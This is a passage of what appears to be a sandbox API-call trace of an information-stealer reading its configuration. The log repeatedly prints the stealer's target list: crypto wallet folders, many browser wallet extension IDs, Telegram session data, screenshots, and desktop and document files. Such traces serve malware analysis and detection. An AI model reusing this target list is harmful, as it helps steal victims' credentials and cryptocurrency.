Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3858 [0266.288] LocalAlloc (uFlags=0x40, uBytes=0x1ea4) returned 0x6f4830 [0266.288] StrCpyW (in: psz1=0x7038b8, psz2="Ledger Live" | out: psz1="Ledger Live") returned="Ledger Live" [0266.288] LocalFree (hMem=0x6f4830) returned 0x0 [0266.289] StrStrW (lpFirst="*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.289] lstrlenW (lpString="ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3858 [0266.289] LocalAlloc (uFlags=0x40, uBytes=0x1ea4) returned 0x6f4830 [0266.289] StrCpyW (in: psz1=0x6ef5a0, psz2="*" | out: psz1="*") returned="*" [0266.289] LocalFree (hMem=0x6f4830) returned 0x0 [0266.289] StrStrW (lpFirst="*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.289] lstrlenW (lpString="ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension 